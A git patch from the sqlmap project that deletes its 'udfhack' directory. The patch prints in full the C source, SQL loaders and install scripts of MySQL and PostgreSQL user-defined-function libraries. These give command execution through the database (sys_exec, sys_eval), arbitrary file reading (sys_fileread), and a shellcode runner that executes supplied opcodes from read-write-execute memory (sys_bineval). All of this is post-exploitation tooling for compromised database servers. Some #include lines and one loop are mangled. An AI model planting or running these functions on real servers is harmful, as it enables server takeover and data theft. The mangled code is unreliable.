From c0b9cf539fd8866ab3d7dd9eda2ab6cb7454bee4 Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 27 Jun 2012 15:15:11 +0100 Subject: [PATCH] moved udfhack to its own repository, https://github.com/sqlmapproject/udfhack --- extra/udfhack/README.txt | 7 - .../linux/32/lib_mysqludf_sys/Makefile | 9 - .../linux/32/lib_mysqludf_sys/install.sh | 47 -- .../32/lib_mysqludf_sys/lib_mysqludf_sys.c | 567 ------------------ .../32/lib_mysqludf_sys/lib_mysqludf_sys.sql | 35 -- .../linux/32/lib_postgresqludf_sys/Makefile | 21 - .../linux/32/lib_postgresqludf_sys/install.sh | 63 -- .../lib_postgresqludf_sys.c | 277 --------- .../lib_postgresqludf_sys.sql | 25 - .../linux/64/lib_mysqludf_sys/Makefile | 9 - .../linux/64/lib_mysqludf_sys/install.sh | 47 -- .../64/lib_mysqludf_sys/lib_mysqludf_sys.c | 567 ------------------ .../64/lib_mysqludf_sys/lib_mysqludf_sys.sql | 35 -- .../linux/64/lib_postgresqludf_sys/Makefile | 21 - .../linux/64/lib_postgresqludf_sys/install.sh | 63 -- .../lib_postgresqludf_sys.c | 277 --------- .../lib_postgresqludf_sys.sql | 25 - extra/udfhack/linux/README.txt | 29 - .../32/lib_mysqludf_sys/lib_mysqludf_sys.sln | Bin 898 -> 0 bytes .../lib_mysqludf_sys/lib_mysqludf_sys.c | 567 ------------------ .../lib_mysqludf_sys/lib_mysqludf_sys.vcproj | Bin 4135 -> 0 bytes .../lib_postgresqludf_sys.sln | Bin 933 -> 0 bytes .../lib_postgresqludf_sys.c | 277 --------- .../lib_postgresqludf_sys.vcproj | Bin 4395 -> 0 bytes .../64/lib_mysqludf_sys/lib_mysqludf_sys.sln | Bin 1276 -> 0 bytes .../lib_mysqludf_sys/__exec_payload.asm | 7 - .../lib_mysqludf_sys/lib_mysqludf_sys.c | 567 ------------------ .../lib_mysqludf_sys/lib_mysqludf_sys.vcproj | Bin 7770 -> 0 bytes .../64/lib_postgresqludf_sys/README.txt | 1 - extra/udfhack/windows/README.txt | 32 - 30 files changed, 3575 deletions(-) delete mode 100644 extra/udfhack/README.txt delete mode 100644 extra/udfhack/linux/32/lib_mysqludf_sys/Makefile delete mode 100755 extra/udfhack/linux/32/lib_mysqludf_sys/install.sh delete mode 100644 extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c delete mode 100644 extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.sql delete mode 100644 extra/udfhack/linux/32/lib_postgresqludf_sys/Makefile delete mode 100755 extra/udfhack/linux/32/lib_postgresqludf_sys/install.sh delete mode 100644 extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c delete mode 100644 extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sql delete mode 100644 extra/udfhack/linux/64/lib_mysqludf_sys/Makefile delete mode 100755 extra/udfhack/linux/64/lib_mysqludf_sys/install.sh delete mode 100644 extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.c delete mode 100644 extra/udfhack/linux/64/lib_mysqludf_sys/lib_mysqludf_sys.sql delete mode 100644 extra/udfhack/linux/64/lib_postgresqludf_sys/Makefile delete mode 100755 extra/udfhack/linux/64/lib_postgresqludf_sys/install.sh delete mode 100644 extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.c delete mode 100644 extra/udfhack/linux/64/lib_postgresqludf_sys/lib_postgresqludf_sys.sql delete mode 100644 extra/udfhack/linux/README.txt delete mode 100644 extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys.sln delete mode 100644 extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c delete mode 100644 extra/udfhack/windows/32/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj delete mode 100644 extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sln delete mode 100644 extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.c delete mode 100644 extra/udfhack/windows/32/lib_postgresqludf_sys/lib_postgresqludf_sys/lib_postgresqludf_sys.vcproj delete mode 100644 extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys.sln delete mode 100644 extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/__exec_payload.asm delete mode 100644 extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.c delete mode 100644 extra/udfhack/windows/64/lib_mysqludf_sys/lib_mysqludf_sys/lib_mysqludf_sys.vcproj delete mode 100644 extra/udfhack/windows/64/lib_postgresqludf_sys/README.txt delete mode 100644 extra/udfhack/windows/README.txt diff --git a/extra/udfhack/README.txt b/extra/udfhack/README.txt deleted file mode 100644 index e876f8a17..000000000 --- a/extra/udfhack/README.txt +++ /dev/null @@ -1,7 +0,0 @@ -Files in this folder can be compiled as shared libraries. These define -some user-defined functions (UDF) for MySQL and PostgreSQL. They are -licensed under the terms of the GNU Lesser General Public License and -their compiled versions are available on the official sqlmap subversion -repository[1]. - -[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/udf/ diff --git a/extra/udfhack/linux/32/lib_mysqludf_sys/Makefile b/extra/udfhack/linux/32/lib_mysqludf_sys/Makefile deleted file mode 100644 index ee0ddc0c7..000000000 --- a/extra/udfhack/linux/32/lib_mysqludf_sys/Makefile +++ /dev/null @@ -1,9 +0,0 @@ -# For MySQL < 5.1 -LIBDIR=/usr/lib -# For MySQL >= 5.1 -#LIBDIR=/usr/lib/mysql/plugin - -install: - gcc-4.3 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so - strip -sx lib_mysqludf_sys.so - cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so diff --git a/extra/udfhack/linux/32/lib_mysqludf_sys/install.sh b/extra/udfhack/linux/32/lib_mysqludf_sys/install.sh deleted file mode 100755 index 5e7901ca7..000000000 --- a/extra/udfhack/linux/32/lib_mysqludf_sys/install.sh +++ /dev/null @@ -1,47 +0,0 @@ -#!/bin/bash -# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions -# Copyright (C) 2007 Roland Bouman -# Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. -# web: http://www.mysqludf.org/ -# email: mysqludfs@gmail.com, bernardo.damele@gmail.com -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -# Adapt the following settings to your environment -USER="root" -PORT="3306" - -echo "Compiling the MySQL UDF" -make - -if test $? -ne 0; then - echo "ERROR: You need libmysqlclient development software installed" - echo "to be able to compile this UDF, on Debian/Ubuntu just run:" - echo "apt-get install libmysqlclient-dev" - exit 1 -else - echo "MySQL UDF compiled successfully" -fi - -echo -e "\nPlease provide your MySQL root password" - -mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql - -if test $? -ne 0; then - echo "ERROR: unable to install the UDF" - exit 1 -else - echo "MySQL UDF installed successfully" -fi diff --git a/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c b/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c deleted file mode 100644 index 3d4600758..000000000 --- a/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c +++ /dev/null @@ -1,567 +0,0 @@ -/* - lib_mysqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2007 Roland Bouman - Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. - web: http://www.mysqludf.org/ - email: mysqludfs@gmail.com, bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define DLLEXP __declspec(dllexport) -#else -#define DLLEXP -#include -#include -#include -#endif - -#ifdef STANDARD -#include -#include -#include -#ifdef __WIN__ -typedef unsigned __int64 ulonglong; -typedef __int64 longlong; -#else -typedef unsigned long long ulonglong; -typedef long long longlong; -#endif /*__WIN__*/ -#else -#include -#include -#endif -#include -#include -#include -#include - -#include - -#ifdef HAVE_DLOPEN -#ifdef __cplusplus -extern "C" { -#endif - -#define LIBVERSION "lib_mysqludf_sys version 0.0.4" - -#ifdef __WIN__ -#define SETENV(name,value) SetEnvironmentVariable(name,value); -#else -#define SETENV(name,value) setenv(name,value,1); -#endif - -DLLEXP -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -); - -DLLEXP -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_get - * - * Gets the value of the specified environment variable. - */ -DLLEXP -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_get_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_set - * - * Sets the value of the environment variables. - * This function accepts a set of name/value pairs - * which are then set as environment variables. - * Use sys_get to retrieve the value of such a variable - */ -DLLEXP -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_set_deinit( - UDF_INIT *initid -); - -DLLEXP -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_exec - * - * executes the argument commandstring and returns its exit status. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_exec_deinit( - UDF_INIT *initid -); - -DLLEXP -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -); - -/** - * sys_eval - * - * executes the argument commandstring and returns its standard output. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -); - -DLLEXP -void sys_eval_deinit( - UDF_INIT *initid -); - -DLLEXP -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -); - -/** - * sys_bineval - * - * executes bynary opcodes. - * Beware that this can be a security hazard. - */ -DLLEXP -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -); - -DLLEXP -void sys_bineval_deinit( - UDF_INIT *initid -); - -DLLEXP -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - - -#ifdef __cplusplus -} -#endif - -/** - * lib_mysqludf_sys_info - */ -my_bool lib_mysqludf_sys_info_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - my_bool status; - if(args->arg_count!=0){ - strcpy( - message - , "No arguments allowed (udf: lib_mysqludf_sys_info)" - ); - status = 1; - } else { - status = 0; - } - return status; -} - -void lib_mysqludf_sys_info_deinit( - UDF_INIT *initid -){ -} - -char* lib_mysqludf_sys_info( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - strcpy(result,LIBVERSION); - *length = strlen(LIBVERSION); - return result; -} - -my_bool sys_get_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count==1 - && args->arg_type[0]==STRING_RESULT){ - initid->maybe_null = 1; - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_get_deinit( - UDF_INIT *initid -){ -} - -char* sys_get( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - char* value = getenv(args->args[0]); - if(value == NULL){ - *is_null = 1; - } else { - *length = strlen(value); - } - return value; -} - -my_bool sys_set_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - if(args->arg_count!=2){ - strcpy( - message - , "Expected exactly two arguments" - ); - return 1; - } - if(args->arg_type[0]!=STRING_RESULT){ - strcpy( - message - , "Expected string type for name parameter" - ); - return 1; - } - args->arg_type[1]=STRING_RESULT; - if((initid->ptr=malloc( - args->lengths[0] - + 1 - + args->lengths[1] - + 1 - ))==NULL){ - strcpy( - message - , "Could not allocate memory" - ); - return 1; - } - return 0; -} - -void sys_set_deinit( - UDF_INIT *initid -){ - if (initid->ptr!=NULL){ - free(initid->ptr); - } -} - -long long sys_set( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - char *name = initid->ptr; - char *value = name + args->lengths[0] + 1; - memcpy( - name - , args->args[0] - , args->lengths[0] - ); - *(name + args->lengths[0]) = '\0'; - memcpy( - value - , args->args[1] - , args->lengths[1] - ); - *(value + args->lengths[1]) = '\0'; - return SETENV(name,value); -} - -my_bool sys_exec_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_exec_deinit( - UDF_INIT *initid -){ -} - -my_ulonglong sys_exec( - UDF_INIT *initid -, UDF_ARGS *args -, char *is_null -, char *error -){ - return system(args->args[0]); -} - -my_bool sys_eval_init( - UDF_INIT *initid -, UDF_ARGS *args -, char *message -){ - unsigned int i=0; - if(args->arg_count == 1 - && args->arg_type[i]==STRING_RESULT){ - return 0; - } else { - strcpy( - message - , "Expected exactly one string type parameter" - ); - return 1; - } -} - -void sys_eval_deinit( - UDF_INIT *initid -){ -} - -char* sys_eval( - UDF_INIT *initid -, UDF_ARGS *args -, char* result -, unsigned long* length -, char *is_null -, char *error -){ - FILE *pipe; - char *line; - unsigned long outlen, linelen; - - line = (char *)malloc(1024); - result = (char *)malloc(1); - outlen = 0; - - result[0] = (char)0; - - pipe = popen(args->args[0], "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = (char *)realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (!(*result) || result == NULL) { - *is_null = 1; - } else { - result[outlen-1] = 0x00; - *length = strlen(result); - } - - return result; -} - -my_bool sys_bineval_init( - UDF_INIT *initid -, UDF_ARGS *args -){ - return 0; -} - -void sys_bineval_deinit( - UDF_INIT *initid -){ - -} - -int sys_bineval( - UDF_INIT *initid -, UDF_ARGS *args -){ - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - len = (size_t)strlen(args->args[0]); - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, args->args[0], len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - return 1; - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - return 1; - - strncpy((char *)addr, args->args[0], len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - return 0; -} - -#if defined(_WIN64) -void __exec_payload(LPVOID); - -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __exec_payload(lpParameter); - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - } - - return 0; -} -#endif - -#endif /* HAVE_DLOPEN */ diff --git a/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.sql b/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.sql deleted file mode 100644 index 3412d939e..000000000 --- a/extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.sql +++ /dev/null @@ -1,35 +0,0 @@ -/* - lib_mysqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2007 Roland Bouman - Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G. - web: http://www.mysqludf.org/ - email: roland.bouman@gmail.com, bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -DROP FUNCTION IF EXISTS lib_mysqludf_sys_info; -DROP FUNCTION IF EXISTS sys_get; -DROP FUNCTION IF EXISTS sys_set; -DROP FUNCTION IF EXISTS sys_exec; -DROP FUNCTION IF EXISTS sys_eval; -DROP FUNCTION IF EXISTS sys_bineval; - -CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; -CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; -CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; -CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; -CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'; -CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so'; diff --git a/extra/udfhack/linux/32/lib_postgresqludf_sys/Makefile b/extra/udfhack/linux/32/lib_postgresqludf_sys/Makefile deleted file mode 100644 index bff85f12b..000000000 --- a/extra/udfhack/linux/32/lib_postgresqludf_sys/Makefile +++ /dev/null @@ -1,21 +0,0 @@ -LIBDIR=/tmp - -9.0: - gcc -Wall -I/usr/include/postgresql/9.0/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so - strip -sx lib_postgresqludf_sys.so - cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so - -8.4: - gcc-4.3 -Wall -I/usr/include/postgresql/8.4/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so - strip -sx lib_postgresqludf_sys.so - cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so - -8.3: - gcc-4.3 -Wall -I/usr/include/postgresql/8.3/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so - strip -sx lib_postgresqludf_sys.so - cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so - -8.2: - gcc-4.3 -Wall -I/usr/include/postgresql/8.2/server -Os -shared lib_postgresqludf_sys.c -o lib_postgresqludf_sys.so - strip -sx lib_postgresqludf_sys.so - cp -f lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so diff --git a/extra/udfhack/linux/32/lib_postgresqludf_sys/install.sh b/extra/udfhack/linux/32/lib_postgresqludf_sys/install.sh deleted file mode 100755 index 94e73b096..000000000 --- a/extra/udfhack/linux/32/lib_postgresqludf_sys/install.sh +++ /dev/null @@ -1,63 +0,0 @@ -#!/bin/bash -# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions -# Copyright (C) 2009-2010 Bernardo Damele A. G. -# web: http://bernardodamele.blogspot.com/ -# email: bernardo.damele@gmail.com -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - -# Adapt the following settings to your environment -USER="postgres" -#PORT="5435" -#VERSION="9.0" -PORT="5434" -VERSION="8.4" -#PORT="5433" -#VERSION="8.3" -#PORT="5432" -#VERSION="8.2" - -echo "Compiling the PostgreSQL UDF" -make ${VERSION} - -if test $? -ne 0; then - echo "ERROR: You need postgresql-server development software installed" - echo "to be able to compile this UDF, on Debian/Ubuntu just run:" - - if test "${VERSION}" == "8.2"; then - echo "apt-get install postgresql-server-dev-8.2" - elif test "${VERSION}" == "8.3"; then - echo "apt-get install postgresql-server-dev-8.3" - elif test "${VERSION}" == "8.4"; then - echo "apt-get install postgresql-server-dev-8.4" - elif test "${VERSION}" == "9.0"; then - echo "apt-get install postgresql-server-dev-9.0" - fi - - exit 1 -else - echo "PostgreSQL UDF compiled successfully" -fi - -echo -e "\nPlease provide your PostgreSQL 'postgres' user's password" - -psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql - -if test $? -ne 0; then - echo "ERROR: unable to install the UDF" - exit 1 -else - echo "PostgreSQL UDF installed successfully" -fi diff --git a/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c b/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c deleted file mode 100644 index 73bbac951..000000000 --- a/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.c +++ /dev/null @@ -1,277 +0,0 @@ -/* - lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions - Copyright (C) 2009-2010 Bernardo Damele A. G. - web: http://bernardodamele.blogspot.com/ - email: bernardo.damele@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -#define _USE_32BIT_TIME_T -#define DLLEXP __declspec(dllexport) -#define BUILDING_DLL 1 -#else -#define DLLEXP -#include -#include -#include -#include -#endif - -#include -#include -#include -#include - -#include - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter); -#endif - -#ifdef PG_MODULE_MAGIC -PG_MODULE_MAGIC; -#endif - -char *text_ptr_to_char_ptr(text *arg) -{ - char *retVal; - int arg_size = VARSIZE(arg) - VARHDRSZ; - retVal = (char *)malloc(arg_size + 1); - - memcpy(retVal, VARDATA(arg), arg_size); - retVal[arg_size] = '\0'; - - return retVal; -} - -text *chr_ptr_to_text_ptr(char *arg) -{ - text *retVal; - - retVal = (text *)malloc(VARHDRSZ + strlen(arg)); -#ifdef SET_VARSIZE - SET_VARSIZE(retVal, VARHDRSZ + strlen(arg)); -#else - VARATT_SIZEP(retVal) = strlen(arg) + VARHDRSZ; -#endif - memcpy(VARDATA(retVal), arg, strlen(arg)); - - return retVal; -} - -PG_FUNCTION_INFO_V1(sys_exec); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - int32 result = 0; - char *command; - - command = text_ptr_to_char_ptr(argv0); - - /* - Only if you want to log - elog(NOTICE, "Command execution: %s", command); - */ - - result = system(command); - free(command); - - PG_FREE_IF_COPY(argv0, 0); - PG_RETURN_INT32(result); -} - -PG_FUNCTION_INFO_V1(sys_eval); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - text *result_text; - char *command; - char *result; - FILE *pipe; - char *line; - int32 outlen, linelen; - - command = text_ptr_to_char_ptr(argv0); - - /* - Only if you want to log - elog(NOTICE, "Command evaluated: %s", command); - */ - - line = (char *)malloc(1024); - result = (char *)malloc(1); - outlen = 0; - - result[0] = (char)0; - - pipe = popen(command, "r"); - - while (fgets(line, sizeof(line), pipe) != NULL) { - linelen = strlen(line); - result = (char *)realloc(result, outlen + linelen); - strncpy(result + outlen, line, linelen); - outlen = outlen + linelen; - } - - pclose(pipe); - - if (*result) { - result[outlen-1] = 0x00; - } - - result_text = chr_ptr_to_text_ptr(result); - - PG_RETURN_POINTER(result_text); -} - -PG_FUNCTION_INFO_V1(sys_bineval); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - int32 argv0_size; - size_t len; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - int pID; - char *code; -#else - int *addr; - size_t page_size; - pid_t pID; -#endif - - argv0_size = VARSIZE(argv0) - VARHDRSZ; - len = (size_t)argv0_size; - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) - // allocate a +rwx memory page - code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); - strncpy(code, VARDATA(argv0), len); - - WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); -#else - pID = fork(); - if(pID<0) - PG_RETURN_INT32(1); - - if(pID==0) - { - page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size - page_size = (len+page_size) & ~(page_size); // align to page boundary - - // mmap an rwx memory page - addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); - - if (addr == MAP_FAILED) - PG_RETURN_INT32(1); - - strncpy((char *)addr, VARDATA(argv0), len); - - ((void (*)(void))addr)(); - } - - if(pID>0) - waitpid(pID, 0, WNOHANG); -#endif - - PG_RETURN_INT32(0); -} - -#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) -DWORD WINAPI exec_payload(LPVOID lpParameter) -{ - __try - { - __asm - { - mov eax, [lpParameter] - call eax - } - } - __except(EXCEPTION_EXECUTE_HANDLER) - { - - } - - return 0; -} -#endif - -#undef fopen - -PG_FUNCTION_INFO_V1(sys_fileread); -#ifdef PGDLLIMPORT -extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { -#else -extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) { -#endif - text *argv0 = PG_GETARG_TEXT_P(0); - text *result_text; - int32 len; - int32 i, j; - char *filename; - char *result; - char *buffer; - char table[] = "0123456789ABCDEF"; - FILE *file; - - filename = text_ptr_to_char_ptr(argv0); - - file = fopen(filename, "rb"); - if (!file) - { - PG_RETURN_NULL(); - } - fseek(file, 0, SEEK_END); - len = ftell(file); - fseek(file, 0, SEEK_SET); - - buffer=(char *)malloc(len + 1); - if (!buffer) - { - fclose(file); - PG_RETURN_NULL(); - } - - fread(buffer, len, 1, file); - fclose(file); - - result = (char *)malloc(2*len + 1); - for (i=0, j=0; i> 4) & 0x0f]; - result[j++] = table[ buffer[i] & 0x0f]; - } - result[j] = '\0'; - - result_text = chr_ptr_to_text_ptr(result); - - free(result); - free(buffer); - free(filename); - - PG_RETURN_POINTER(result_text); -} diff --git a/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sql b/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sql deleted file mode 100644 index 61cbb8c04..000000000 --- a/extra/udfhack/linux/32/lib_postgresqludf_sys/lib_postgresqludf_sys.sql +++ /dev/null @@ -1,25 +0,0 @@ 